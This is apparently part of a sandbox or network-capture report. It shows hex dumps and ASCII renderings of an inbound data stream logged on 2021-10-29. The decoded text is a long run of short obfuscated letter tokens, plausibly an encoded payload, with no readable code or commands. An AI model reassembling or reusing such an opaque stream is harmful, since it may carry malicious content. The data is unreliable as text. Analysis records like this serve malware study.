4f 20 6f 78 74 20 6b 6f 20 6f 59 20 4f 6f 59 20 4f 78 74 20 59 45 20 4b 4f 20 4f 4b 20 4b 59 20 4f 6f 74 20 52 78 20 4f 4f 4f 
20 6f 4b 20 4f 4f 4b 20 4f 74 52 20 52 45 20 4f 6f 74 20 6b 52 20 6f 59 4b 20 59 45 20 6f 45 74 20 4f 6f 59 20 4f 6f 45 20 59 
78 20 74 59 20 4f 4f 6b 20 6f 4f 6f 20 4f 6f 74 20 52 78 20 4f 4f 4f 20 4b 78 20 4f 4f 4b 20 4f 74 52 20 52 45 20 4f 78 45 20 
6b 4f 20 6f 78 6b 20 4f 78 52 20 6f 45 4b 20 4f 6f 59 20 51 4f 20 59 45 20 4f 6b 6b 20 6f 20 6b 59 20 4f 4f 4b 20 6f 6b 20 4f 
78 4b 20 52 74 20 6f 4b 20 59 
Data Ascii:  oYK R kE RE OxE kt oYK tx t OoY QQ YE Okk o kY OOK ER OxK oKo oO Rk RE OxE kO oxt ko oY OoY Oxt 
YE KO OK KY Oot Rx OOO oK OOK OtR RE Oot kR oYK YE oEt OoY OoE Yx tY OOk oOo Oot Rx OOO Kx OOK OtR 
RE OxE kO oxk OxR oEK OoY QO YE Okk o kY OOK ok OxK Rt oK Y

2021-10-29 15:55:36 UTC 1837 IN Data Raw: 6f 78 51 20 4f 4f 74 20 4f 59 45 20 4f 78 51 20 4f 6f 45 20 59 59 20 4f 6f 51 20 59 4b 20 6f 59 78 20 4f 78 4b 20 
6f 78 20 4f 78 52 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 6b 59 20 6b 45 20 6f 78 51 20 4f 4f 74 20 4f 4f 45 20 4f 4f 78 20
51 4f 20 59 59 20 4f 6f 51 20 59 4b 20 6f 45 4b 20 4f 78 4b 20 6f 4b 4b 20 4f 78 52 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 
20 4f 6b 4f 20 6b 45 20 6f 78 51 20 4f 4f 74 20 4b 4f 20 4f 4f 78 20 4f 6b 74 20 59 59 20 4f 6f 51 20 59 4b 20 4f 59 4b 20 4f 
78 4b 20 6f 4f 6f 20 4f 78 52 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 4f 4b 51 20 6b 45 20 6f 78 51 20 4f 4f 74 20 52 20 4f
4f 78 20 4f 59 59 20 59 59 20 4f 6f 51 20 59 4b 20 4f 45 51 20 4f 78 4b 20 4f 6b 78 20 4f 78 52 20 59 4f 20 59 78 20 4f 51 
6b 20 52 4f 20 6f 4b 59 20 
Data Ascii: oxQ OOt OYE OxQ OoE YY OoQ YK oYx OxK ox OxR YO Yx OQk RO kY kE oxQ OOt OOE OOx QO YY Oo
Q YK oEK OxK oKK OxR YO Yx OQk RO OkO kE oxQ OOt KO OOx Okt YY OoQ YK OYK OxK oOo OxR YO Yx OQk RO 
OKQ kE oxQ OOt R OOx OYY YY OoQ YK OEQ OxK Okx OxR YO Yx OQk RO oKY 

2021-10-29 15:55:36 UTC 1841 IN Data Raw: 4f 51 6b 20 4f 78 74 20 4f 6b 20 4f 51 20 6f 4b 4f 20 59 4b 20 6f 45 6f 20 4f 78 59 20 6b 4f 20 74 6b 20 45 59 20
59 78 20 4f 51 6b 20 52 4f 20 4f 4f 6b 20 4f 4f 51 20 4b 51 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 6b 6f 20 4f 51 20 4f 4f 45 
20 59 4b 20 4f 52 6f 20 4f 6f 59 20 6f 4b 59 20 74 6b 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 4f 59 78 20 4f 4f 51 20 4b 
51 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 6f 4f 78 20 4f 51 20 4f 4f 45 20 59 4b 20 4f 52 6f 20 4f 6f 59 20 4f 4f 74 20 74 45 2
0 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 6f 6f 20 4f 4f 6f 20 4b 51 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 4f 4f 4b 20 6f 78 20 
4f 4f 45 20 59 4b 20 4f 52 6f 20 4f 6f 59 20 6f 4f 20 74 45 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 4f 6b 6f 20 4f 4f 6f 20 
4b 51 20 4f 4f 74 20 
Data Ascii: OQk Oxt Ok OQ oKO YK oEo OxY kO tk EY Yx OQk RO OOk OOQ KQ OOt OYY Oot ko OQ OOE YK ORo 
OoY oKY tk YO Yx OQk RO OYx OOQ KQ OOt OYY Oot oOx OQ OOE YK ORo OoY OOt tE YO Yx OQk RO oo OOo KQ 
OOt OYY Oot OOK ox OOE YK ORo OoY oO tE YO Yx OQk RO Oko OOo KQ OOt 

2021-10-29 15:55:36 UTC 1845 IN Data Raw: 4b 20 4f 78 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 6b 4b 20 4b 6b 20 59 4f 20 59 4b 20 74 6f 20 4f 4f 4b 20 4f 
4f 74 20 4f 78 51 20 6f 45 20 59 78 20 4b 51 20 59 78 20 4b 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 59 20 4f 4f 6f 20 59 4f 
20 4b 6b 20 4f 6b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 6b 20 4f 78 51 20 4f 4f 45 20 59 78 20 6f 6f 20 59 78 20 59 4b 20 6b 
4b 20 6f 4b 20 4f 4f 74 20 4f 78 6b 20 4f 4f 6f 20 6f 52 20 4b 6b 20 59 78 20 59 4b 20 52 45 20 4f 4f 4b 20 4f 4f 52 20 4f 78 
51 20 51 78 20 59 78 20 4b 6b 20 59 78 20 51 78 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 52 59 20 4f 4f 6f 20 59 78 20 4b 6b 
20 51 59 20 59 4b 20 6b 59 20 4f 4f 4b 20 51 4f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 51 4b 20 59 78 20 59 59 20 6b 4b 20 
52 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 
Data Ascii: K OxR OOt OxQ OOo kK Kk YO YK to OOK OOt OxQ oE Yx KQ Yx Kx kK OOK OOt Y OOo YO Kk Ok YK kK 
OOK ok OxQ OOE Yx oo Yx YK kK oK OOt Oxk OOo oR Kk Yx YK RE OOK OOR OxQ Qx Yx Kk Yx Qx kK OOY OOt RY 
OOo Yx Kk QY YK kY OOK QO OxQ OOo Yx QK Yx YY kK RR OOt OxQ OO

2021-10-29 15:55:36 UTC 1848 IN Data Raw: 20 59 52 20 4f 59 59 20 4b 74 20 6b 4b 20 4f 4f 4b 20 52 4f 20 4f 78 6f 20 6b 45 20 4b 45 20 4b 6b 20 59 78 20 
4f 78 4f 20 6b 78 20 6b 4f 20 4f 78 6b 20 4f 78 51 20 4f 4f 6f 20 6f 45 52 20 59 4b 20 4f 74 20 4b 74 20 6b 4b 20 4f 4f 4b 20
4f 6b 78 20 4f 78 4f 20 6b 45 20 4b 45 20 4b 6b 20 59 78 20 4f 6f 52 20 51 59 20 6b 4f 20 4f 78 6b 20 4f 78 51 20 4f 4f 6f 
20 6f 4f 59 20 52 78 20 4f 74 20 4b 74 20 6b 4b 20 4f 4f 4b 20 59 78 20 51 51 20 6b 45 20 4b 45 20 4b 6b 20 59 78 20 4f 4f 
45 20 51 4f 20 6f 6f 4f 20 4f 78 6b 20 4f 78 51 20 4f 4f 6f 20 4f 78 74 20 45 45 20 4f 74 20 4b 74 20 6b 4b 20 4f 4f 4b 20 4f 
52 78 20 4f 6f 4b 20 6b 45 20 4b 45 20 4b 6b 20 59 78 20 6f 51 20 6b 4b 20 6b 4f 20 4f 78 6b 20 4f 78 51 20 4f 4f 6f 20 6f 
4f 20 59 4f 20 4f 74 20 4b 74 20 
Data Ascii:  YR OYY Kt kK OOK RO Oxo kE KE Kk Yx OxO kx kO Oxk OxQ OOo oER YK Ot Kt kK OOK Okx OxO kE KE 
Kk Yx OoR QY kO Oxk OxQ OOo oOY Rx Ot Kt kK OOK Yx QQ kE KE Kk Yx OOE QO ooO Oxk OxQ OOo Oxt EE Ot Kt 
kK OOK ORx OoK kE KE Kk Yx oQ kK kO Oxk OxQ OOo oO YO Ot Kt 

2021-10-29 15:55:36 UTC 1852 IN Data Raw: 20 6f 78 74 20 59 78 20 4b 51 20 59 78 20 6f 59 45 20 6b 59 20 6f 78 59 20 4f 4f 74 20 4f 4f 4f 20 4f 4f 6f 20 6f 
59 4b 20 4b 51 20 6f 4b 45 20 59 4b 20 6b 59 20 4f 4f 4b 20 4f 6b 4b 20 4f 78 6b 20 4f 74 74 20 59 78 20 59 78 20 59 78 
20 6f 4b 6b 20 6b 59 20 4f 74 74 20 4f 4f 74 20 4f 78 6b 20 4f 4f 6f 20 6f 59 45 20 4b 51 20 6f 4b 4f 20 59 4b 20 6b 52 20 4f
4f 4b 20 4f 52 4b 20 4f 78 6b 20 4f 6b 4f 20 59 78 20 4b 51 20 59 78 20 6f 6f 6b 20 6b 59 20 4f 6b 45 20 4f 4f 74 20 4f 4f 4f 
20 4f 4f 6f 20 52 4f 20 59 78 20 6f 4b 59 20 59 4b 20 6b 52 20 4f 4f 4b 20 4f 78 78 20 4f 4f 4f 20 4f 6b 59 20 59 78 20 59 4
b 20 59 78 20 45 78 20 6b 4b 20 51 74 20 4f 4f 74 20 59 51 20 4f 4f 6f 20 4b 78 20 59 6f 20 45 74 20 59 4b 20 6f 20 4f 4f 
4b 20 4f 78 59 20 4f 78 59 20 4f 
Data Ascii:  oxt Yx KQ Yx oYE kY oxY OOt OOO OOo oYK KQ oKE YK kY OOK OkK Oxk Ott Yx Yx Yx oKk kY Ott OOt 
Oxk OOo oYE KQ oKO YK kR OOK ORK Oxk OkO Yx KQ Yx ook kY OkE OOt OOO OOo RO Yx oKY YK kR OOK Oxx 
OOO OkY Yx YK Yx Ex kK Qt OOt YQ OOo Kx Yo Et YK o OOK OxY OxY O

2021-10-29 15:55:36 UTC 1856 IN Data Raw: 4b 20 4f 4f 45 20 4f 4f 4b 20 4b 78 20 4f 78 51 20 6b 74 20 59 78 20 4f 4f 78 20 59 78 20 4f 4f 59 20 6b 4b 20 
4b 59 20 4f 4f 74 20 4b 78 20 4f 4f 6f 20 6b 6f 20 4b 6b 20 4f 4f 51 20 59 4b 20 59 45 20 4f 4f 4b 20 4b 6b 20 4f 78 51 20 4f 
6b 20 59 78 20 4f 4f 74 20 59 78 20 6b 59 20 6b 4b 20 59 59 20 4f 4f 74 20 51 20 4f 4f 6f 20 4f 4f 51 20 4b 6b 20 6b 74 20 
59 4b 20 4f 74 20 4f 4f 4b 20 4f 51 20 4f 78 51 20 59 45 20 59 78 20 6b 74 20 59 78 20 4f 4f 59 20 6b 4b 20 6f 52 20 4f 4f 
74 20 4b 78 20 4f 4f 6f 20 51 4f 20 4b 6b 20 4f 4f 51 20 59 4b 20 52 6f 20 4f 4f 4b 20 4b 6b 20 4f 78 51 20 6f 74 20 59 78 
20 4f 4f 74 20 59 78 20 51 78 20 6b 4b 20 59 59 20 4f 4f 74 20 78 20 4f 4f 6f 20 4f 4f 51 20 4b 6b 20 51 6f 20 59 4b 20 4f 7
4 20 4f 4f 4b 20 6f 52 20 4f 78 51 
Data Ascii: K OOE OOK Kx OxQ kt Yx OOx Yx OOY kK KY OOt Kx OOo ko Kk OOQ YK YE OOK Kk OxQ Ok Yx OOt Yx 
kY kK YY OOt Q OOo OOQ Kk kt YK Ot OOK OQ OxQ YE Yx kt Yx OOY kK oR OOt Kx OOo QO Kk OOQ YK Ro OOK 
Kk OxQ ot Yx OOt Yx Qx kK YY OOt x OOo OOQ Kk Qo YK Ot OOK oR OxQ

2021-10-29 15:55:36 UTC 1872 IN Data Raw: 78 20 4f 4f 51 20 4b 20 4f 4f 59 20 4f 20 4f 78 4f 20 52 52 20 59 4f 20 6b 4b 20 52 6b 20 45 20 78 20 4f 4f 52 20
4f 4f 6f 20 4f 74 20 4b 51 20 4b 6b 20 4b 4b 20 59 4b 20 4b 20 4f 20 45 20 52 20 6f 4f 20 52 52 20 52 6b 20 6b 4b 20 52 
52 20 78 20 4f 4f 4b 20 59 78 20 4f 4f 4b 20 4f 6b 20 52 4b 20 59 59 20 4b 4f 20 59 4f 20 4f 20 51 20 59 20 45 20 4f 52 20 
4b 51 20 74 4f 20 6b 6b 20 59 78 20 4f 4f 52 20 4f 4f 45 20 4f 4f 52 20 4f 4f 6f 20 6f 4f 20 74 78 20 74 52 20 51 78 20 74 78
20 4f 4f 51 20 51 20 4f 4f 45 20 4f 4f 4b 20 4f 78 4f 20 59 59 20 74 78 20 6b 59 20 4b 51 20 4f 4f 59 20 4f 4f 52 20 4f 4f 52 
20 6f 20 51 6b 20 52 59 20 59 59 20 4f 78 51 20 74 45 20 4f 4f 6b 20 51 20 4f 4f 59 20 4f 4f 6f 20 4f 78 45 20 59 4f 20 4b 
6b 20 51 6f 20 52 59 20 4f 4f 59 
Data Ascii: x OOQ K OOY O OxO RR YO kK Rk E x OOR OOo Ot KQ Kk KK YK K O E R oO RR Rk kK RR x OOK Yx 
OOK Ok RK YY KO YO O Q Y E OR KQ tO kk Yx OOR OOE OOR OOo oO tx tR Qx tx OOQ Q OOE OOK OxO YY tx kY 
KQ OOY OOR OOR o Qk RY YY OxQ tE OOk Q OOY OOo OxE YO Kk Qo RY OOY
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2021-10-29 15:55:36 UTC 1880 IN Data Raw: 20 4f 6f 6f 20 74 4f 20 51 6f 20 6b 6f 20 6b 4b 20 45 4f 20 4f 52 20 6f 59 20 6f 4b 20 51 45 20 6b 4b 20 59 78 20 
51 6b 20 45 6b 20 4f 4f 20 52 78 20 45 20 6f 59 20 74 78 20 4f 4f 52 20 51 4f 20 52 51 20 59 59 20 6f 51 20 74 20 51 20 4f 
4f 6f 20 52 59 20 6b 4b 20 6b 4b 20 4f 59 20 4f 78 45 20 74 78 20 6f 78 20 45 78 20 6f 78 20 59 78 20 6b 4f 20 52 59 20 
6b 6f 20 52 45 20 74 59 20 74 78 20 6b 51 20 52 51 20 6b 45 20 52 74 20 6b 52 20 59 4b 20 59 45 20 6f 6f 20 45 78 20 4f 
6f 20 45 20 6b 52 20 6b 20 74 4f 20 59 20 52 78 20 4f 52 20 6f 78 20 45 78 20 6f 78 20 59 78 20 51 4f 20 6b 51 20 6b 6f 20 
52 78 20 6f 78 20 6f 78 20 52 20 6f 78 20 6b 45 20 52 74 20 6b 52 20 59 4b 20 45 51 20 6f 6f 20 4f 51 20 52 20 52 74 20 
4f 78 20 51 78 20 6b 45 20 52 51 20 4b 6b 20 
Data Ascii:  Ooo tO Qo ko kK EO OR oY oK QE kK Yx Qk Ek OO Rx E oY tx OOR QO RQ YY oQ t Q OOo RY kK kK OY 
OxE tx ox Ex ox Yx kO RY ko RE tY tx kQ RQ kE Rt kR YK YE oo Ex Oo E kR k tO Y Rx OR ox Ex ox Yx QO kQ ko Rx ox 
ox R ox kE Rt kR YK EQ oo OQ R Rt Ox Qx kE RQ Kk 

2021-10-29 15:55:36 UTC 1896 IN Data Raw: 6f 74 20 6f 74 20 6f 59 20 6f 4f 20 52 4b 20 4b 6b 20 6b 45 20 6b 6f 20 59 45 20 6f 20 4f 20 6b 20 6f 20 59 78 
20 4f 4f 4b 20 51 4f 20 52 52 20 6f 45 20 6f 51 20 6f 74 20 6f 74 20 6f 4f 20 52 4b 20 52 6b 20 6b 74 20 52 6b 20 6b 4b 20 
45 6b 20 6f 78 20 45 78 20 6f 74 20 51 52 20 6b 59 20 52 59 20 6b 51 20 59 52 20 4b 20 4f 52 20 45 4f 20 4f 4f 6f 20 4f 78 
6f 20 51 59 20 4f 6f 52 20 6b 51 20 45 59 20 6f 45 20 74 20 4f 78 51 20 59 6b 20 6b 45 20 74 78 20 6b 45 20 4f 78 4f 20 59 
59 20 78 20 6f 6b 20 6f 51 20 4b 20 51 74 20 6b 59 20 52 4b 20 51 59 20 59 45 20 45 78 20 6f 6b 20 6f 45 20 6f 4f 20 52 
4b 20 4b 6b 20 4f 78 52 20 6b 51 20 45 6b 20 4f 4f 4b 20 52 78 20 59 74 20 4f 74 20 52 59 20 51 4f 20 51 6b 20 52 6b 20 
59 51 20 4f 74 20 4f 52 20 45 78 20 45 20 51 
Data Ascii: ot ot oY oO RK Kk kE ko YE o O k o Yx OOK QO RR oE oQ ot ot oO RK Rk kt Rk kK Ek ox Ex ot QR kY RY 
kQ YR K OR EO OOo Oxo QY OoR kQ EY oE t OxQ Yk kE tx kE OxO YY x ok oQ K Qt kY RK QY YE Ex ok oE oO RK Kk 
OxR kQ Ek OOK Rx Yt Ot RY QO Qk Rk YQ Ot OR Ex E Q

2021-10-29 15:55:36 UTC 1912 IN Data Raw: 20 59 4b 20 59 6b 20 4f 4f 4b 20 4f 6b 20 4f 78 51 20 51 4b 20 59 78 20 51 6b 20 59 78 20 6b 45 20 6b 4b 20 6f 
20 4f 4f 74 20 4f 20 4f 4f 6f 20 6b 45 20 4b 6b 20 6b 4f 20 59 4b 20 4b 51 20 4f 4f 4b 20 4f 4f 74 20 51 78 20 59 78 20 59 
78 20 4f 4f 59 20 59 78 20 52 6b 20 6b 4b 20 4f 4f 20 4f 4f 74 20 6f 51 20 4f 4f 6f 20 74 78 20 4b 6b 20 4f 6f 59 20 59 4b 
20 45 52 20 4f 4f 4b 20 4f 52 20 4f 78 51 20 45 78 20 59 78 20 4f 4f 45 20 59 78 20 51 78 20 6b 4b 20 6f 4f 20 4f 4f 74 20 
6f 20 4f 4f 6f 20 52 4b 20 4b 6b 20 51 4f 20 59 4b 20 45 6f 20 4f 4f 4b 20 6f 51 20 4f 78 51 20 6f 51 20 59 78 20 51 52 20 
59 78 20 52 6b 20 6b 4b 20 6f 51 20 4f 4f 74 20 6f 74 20 4f 4f 6f 20 51 4f 20 4b 6b 20 6b 52 20 59 4b 20 4b 51 20 4f 4f 4b 
20 74 20 4f 78 51 20 4f 4f 6f 20 4f 4f 
Data Ascii:  YK Yk OOK Ok OxQ QK Yx Qk Yx kE kK o OOt O OOo kE Kk kO YK KQ OOK OOt Qx Yx Yx OOY Yx Rk kK 
OO OOt oQ OOo tx Kk OoY YK ER OOK OR OxQ Ex Yx OOE Yx Qx kK oO OOt o OOo RK Kk QO YK Eo OOK oQ OxQ 
oQ Yx QR Yx Rk kK oQ OOt ot OOo QO Kk kR YK KQ OOK t OxQ OOo OO

2021-10-29 15:55:36 UTC 1928 IN Data Raw: 78 20 6f 45 52 20 6f 59 45 20 59 59 20 4b 6b 20 4b 6b 20 59 52 20 51 78 20 4f 4f 78 20 4f 6f 74 20 74 74 20 4f 
4f 45 20 59 4f 20 45 74 20 45 6f 20 4f 6b 6f 20 6f 4b 4f 20 4f 4f 59 20 4f 78 6f 20 4f 78 51 20 51 6b 20 59 45 20 59 45 20 45
51 20 45 52 20 4f 6f 4f 20 4f 4f 59 20 4f 78 45 20 6f 45 74 20 4f 52 4b 20 45 6f 20 51 74 20 45 6f 20 51 51 20 74 78 20 6f 
4b 6f 20 4f 52 4f 20 4f 6f 74 20 4b 4f 20 59 6f 20 4f 52 20 59 4f 20 59 59 20 74 78 20 6f 4b 45 20 6f 6f 6b 20 4f 78 4b 20 6b 
78 20 59 78 20 45 4b 20 4f 74 51 20 4f 52 45 20 6b 4f 20 6b 6f 20 4f 4f 74 20 4f 6f 74 20 6f 4b 4f 20 4f 74 4f 20 59 45 20 4f 
6b 20 59 59 20 74 78 20 4b 74 20 4f 6f 59 20 4f 78 6f 20 4f 4f 51 20 59 4b 20 45 4b 20 4f 74 6b 20 6f 6f 52 20 74 78 20 45 
51 20 4f 78 45 20 4b 6b 20 51 
Data Ascii: x oER oYE YY Kk Kk YR Qx OOx Oot tt OOE YO Et Eo Oko oKO OOY Oxo OxQ Qk YE YE EQ ER OoO OOY 
OxE oEt ORK Eo Qt Eo QQ tx oKo ORO Oot KO Yo OR YO YY tx oKE ook OxK kx Yx EK OtQ ORE kO ko OOt Oot oKO 
OtO YE Ok YY tx Kt OoY Oxo OOQ YK EK Otk ooR tx EQ OxE Kk Q

2021-10-29 15:55:36 UTC 1944 IN Data Raw: 4b 6b 20 4f 6f 52 20 4f 4f 74 20 4f 78 59 20 4f 78 4f 20 45 6f 20 6f 51 20 59 4f 20 59 52 20 51 78 20 4f 6f 6f 20 
4f 6f 59 20 4f 4f 6f 20 4f 6f 52 20 52 4f 20 4b 6b 20 59 4f 20 45 59 20 74 78 20 51 59 20 4f 4f 52 20 4f 6f 74 20 6f 4b 4f 20 
59 78 20 45 74 20 45 6f 20 4f 6b 6f 20 6f 4b 4f 20 4f 4f 59 20 4f 6f 45 20 51 51 20 4f 4f 6f 20 4b 51 20 45 74 20 45 6f 20 4f 
6b 6f 20 6f 4b 4f 20 4f 4f 59 20 4f 6f 45 20 51 51 20 51 74 20 4f 74 6b 20 4f 59 74 20 4b 74 20 59 52 20 51 45 20 6b 6f 20 
4f 4f 51 20 51 51 20 51 6b 20 4f 74 6b 20 4f 59 6f 20 45 6f 20 4f 6b 6f 20 6f 59 45 20 4f 6f 78 20 6b 59 20 4f 78 51 20 4f 78 
4f 20 45 6f 20 4f 74 52 20 4f 59 4f 20 59 59 20 74 78 20 6f 4b 6f 20 6f 6f 4f 20 4f 78 4f 20 6b 78 20 59 4f 20 4b 51 20 45 51 
20 45 52 20 4f 78 4f 20 
Data Ascii: Kk OoR OOt OxY OxO Eo oQ YO YR Qx Ooo OoY OOo OoR RO Kk YO EY tx QY OOR Oot oKO Yx Et Eo 
Oko oKO OOY OoE QQ OOo KQ Et Eo Oko oKO OOY OoE QQ Qt Otk OYt Kt YR QE ko OOQ QQ Qk Otk OYo Eo Oko 
oYE Oox kY OxQ OxO Eo OtR OYO YY tx oKo ooO OxO kx YO KQ EQ ER OxO 

2021-10-29 15:55:36 UTC 1960 IN Data Raw: 74 20 4b 78 20 4f 4f 6f 20 4f 4f 78 20 4b 6b 20 4f 6f 74 20 59 4b 20 52 4f 20 4f 4f 4b 20 6f 6f 20 4f 78 51 20 6f 
20 59 78 20 51 59 20 59 78 20 52 51 20 6b 4b 20 6f 51 20 4f 4f 74 20 4f 4f 20 4f 4f 6f 20 74 78 20 4b 6b 20 4f 4f 78 20 59 
4b 20 45 20 4f 4f 4b 20 6f 6b 20 4f 78 51 20 45 78 20 59 78 20 6b 4b 20 59 78 20 6b 51 20 6b 4b 20 59 20 4f 4f 74 20 45 
78 20 4f 4f 6f 20 4f 4f 78 20 4b 6b 20 4f 4f 45 20 59 4b 20 45 45 20 4f 4f 4b 20 74 20 4f 78 51 20 6f 20 59 78 20 6b 59 20 
59 78 20 6b 6b 20 6b 4b 20 52 20 4f 4f 74 20 59 51 20 4f 4f 6f 20 6b 74 20 4b 6b 20 52 4b 20 59 4b 20 45 51 20 4f 4f 4b 20 
6f 6b 20 4f 78 51 20 45 4f 20 59 78 20 51 4b 20 59 78 20 4f 78 52 20 6b 4b 20 45 51 20 4f 4f 74 20 45 20 4f 4f 6f 20 51 4f 
20 4b 6b 20 51 6f 20 59 4b 20 45 51 20 
Data Ascii: t Kx OOo OOx Kk Oot YK RO OOK oo OxQ o Yx QY Yx RQ kK oQ OOt OO OOo tx Kk OOx YK E OOK ok 
OxQ Ex Yx kK Yx kQ kK Y OOt Ex OOo OOx Kk OOE YK EE OOK t OxQ o Yx kY Yx kk kK R OOt YQ OOo kt Kk RK YK 
EQ OOK ok OxQ EO Yx QK Yx OxR kK EQ OOt E OOo QO Kk Qo YK EQ 

2021-10-29 15:55:36 UTC 1976 IN Data Raw: 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 59 20 4f 78 51 20 51 4f 20 59 78 20 4b 51 20 59 78 20 4f 6f 6f 20 6b 4b 20 
6f 45 20 4f 4f 74 20 4f 78 20 4f 4f 6f 20 6b 45 20 4b 6b 20 51 4b 20 59 4b 20 6f 45 20 4f 4f 4b 20 6f 52 20 4f 78 51 20 78 
20 59 78 20 74 45 20 59 78 20 52 6b 20 6b 4b 20 6f 74 20 4f 4f 74 20 4f 78 20 4f 4f 6f 20 51 78 20 4b 6b 20 74 78 20 59 4b
20 6b 4b 20 4f 4f 4b 20 59 4b 20 4f 78 51 20 45 4f 20 59 78 20 52 4b 20 59 78 20 74 51 20 6b 4b 20 78 20 4f 4f 74 20 4b 
20 4f 4f 6f 20 6b 59 20 4b 6b 20 51 78 20 59 4b 20 45 6f 20 4f 4f 4b 20 6b 59 20 4f 78 51 20 52 52 20 59 78 20 78 20 59 
78 20 4b 20 6b 4b 20 52 52 20 4f 4f 74 20 74 74 20 4f 4f 6f 20 4f 59 59 20 4b 6b 20 4f 6b 20 59 4b 20 6f 6b 20 4f 4f 4b 20 
6f 4b 20 4f 78 51 20 4b 78 20 59 78 20 45 78 
Data Ascii:  YK kK OOK OY OxQ QO Yx KQ Yx Ooo kK oE OOt Ox OOo kE Kk QK YK oE OOK oR OxQ x Yx tE Yx Rk kK 
ot OOt Ox OOo Qx Kk tx YK kK OOK YK OxQ EO Yx RK Yx tQ kK x OOt K OOo kY Kk Qx YK Eo OOK kY OxQ RR Yx x 
Yx K kK RR OOt tt OOo OYY Kk Ok YK ok OOK oK OxQ Kx Yx Ex

2021-10-29 15:55:36 UTC 1992 IN Data Raw: 4f 20 45 20 4f 4f 6f 20 4f 4f 4b 20 6b 4f 20 6f 59 4f 20 45 20 4f 4f 6f 20 4b 78 20 59 4f 20 78 20 78 20 4f 78 20 6f 
59 4b 20 4f 4b 20 45 20 78 20 45 6f 20 45 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 6f 20 78 20 4f 4f 4b 20 6b 4f 20 6f 59 
4f 20 45 20 4f 4f 6f 20 4f 4f 4b 20 6b 4f 20 6f 59 4f 20 45 20 4f 4f 6f 20 4b 78 20 59 4f 20 78 20 78 20 4f 78 20 6f 59 4b 20 
4f 4b 20 4b 20 78 20 45 6f 20 4b 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 6f 20 78 20 4f 4f 4b 20 52 51 20 6f 59 4f 20 45 
20 4f 4f 6f 20 4f 4f 4b 20 6b 4f 20 6f 59 4f 20 45 20 4f 4f 6f 20 4b 78 20 59 4f 20 78 20 78 20 4f 78 20 6f 59 4b 20 4f 4b 20 
59 20 78 20 45 6f 20 59 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 6f 20 78 20 4f 4f 4b 20 52 51 20 6f 59 4f 20 45 20 4f 4f 
6f 20 4f 4f 4b 20 6b 4f 20 
Data Ascii: O E OOo OOK kO oYO E OOo Kx YO x x Ox oYK OK E x Eo E x x x oYK OK o x OOK kO oYO E OOo OOK 
kO oYO E OOo Kx YO x x Ox oYK OK K x Eo K x x x oYK OK o x OOK RQ oYO E OOo OOK kO oYO E OOo Kx YO x x 
Ox oYK OK Y x Eo Y x x x oYK OK o x OOK RQ oYO E OOo OOK kO 
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2021-10-29 15:55:36 UTC 2008 IN Data Raw: 6f 20 59 78 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 45 20 78 20 4f 4f 4b 20 74 4b 20 6f 20 4b 20 4f 4f 6f 20 4f
4f 4b 20 6f 6f 51 20 6f 20 4b 20 4f 4f 6f 20 4b 78 20 6f 59 20 78 20 78 20 52 20 4f 4f 4f 20 74 4f 20 78 20 78 20 4f 78 20 4f 
4f 4b 20 6f 59 20 51 20 4b 20 4f 4f 6f 20 4f 4f 4f 20 45 4b 20 78 20 78 20 4f 78 20 6f 59 4b 20 4f 4b 20 6f 6f 20 78 20 6f 59 
4b 20 4f 6f 20 6f 6f 20 78 20 59 74 20 6f 4b 20 78 20 78 20 78 20 45 6f 20 59 4f 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 
45 20 78 20 45 6f 20 4f 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 78 20 78 20 59 52 20 45 52 20 45 20 78 20 78 20 78 20 
78 20 45 6f 20 59 45 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 45 20 78 20 4f 4f 4b 20 59 20 45 20 4b 20 4f 4f 6f 20 4f 4f 
4b 20 52 4f 20 45 20 4b 20 4f 4f 
Data Ascii: o Yx x x x oYK OK E x OOK tK o K OOo OOK ooQ o K OOo Kx oY x x R OOO tO x x Ox OOK oY Q K OOo 
OOO EK x x Ox oYK OK oo x oYK Oo oo x Yt oK x x x Eo YO x x x oYK OK E x Eo O x x x oYK OK x x YR ER E x x x x Eo 
YE x x x oYK OK E x OOK Y E K OOo OOK RO E K OO

2021-10-29 15:55:36 UTC 2024 IN Data Raw: 59 4b 20 6f 20 4f 51 20 6b 20 4f 74 20 6b 20 4b 4b 20 4b 6f 20 78 20 45 6f 20 4f 6b 4b 20 4f 4f 20 78 20 78 20 
4b 78 20 6f 6b 20 78 20 78 20 4f 78 20 78 20 4f 74 20 52 20 4b 78 20 4f 45 78 20 78 20 78 20 4f 78 20 4f 4f 4f 20 4f 45 4f 
20 78 20 78 20 4f 78 20 6f 6f 20 6f 59 4b 20 4f 20 4f 51 20 51 20 4f 74 20 51 20 4b 4b 20 6b 20 78 20 4f 4f 59 20 6b 6f 20 
78 20 78 20 52 20 45 6b 20 78 20 78 20 78 20 6f 6f 6f 20 59 20 45 6b 20 78 20 78 20 6f 6f 6f 20 78 20 78 20 6f 45 20 4f 51 
20 4f 78 20 59 52 20 4f 78 78 20 6f 59 59 20 6f 59 59 20 6f 59 59 20 4f 6f 52 20 4f 45 6f 20 78 20 78 20 4f 78 20 4b 78 20 
4f 45 45 20 78 20 78 20 4f 78 20 45 6f 20 4f 20 78 20 78 20 78 20 4b 6f 20 4f 6f 52 20 4f 45 6f 20 78 20 78 20 4f 78 20 4b 
78 20 4f 45 45 20 78 20 78 20 4f 78 20 
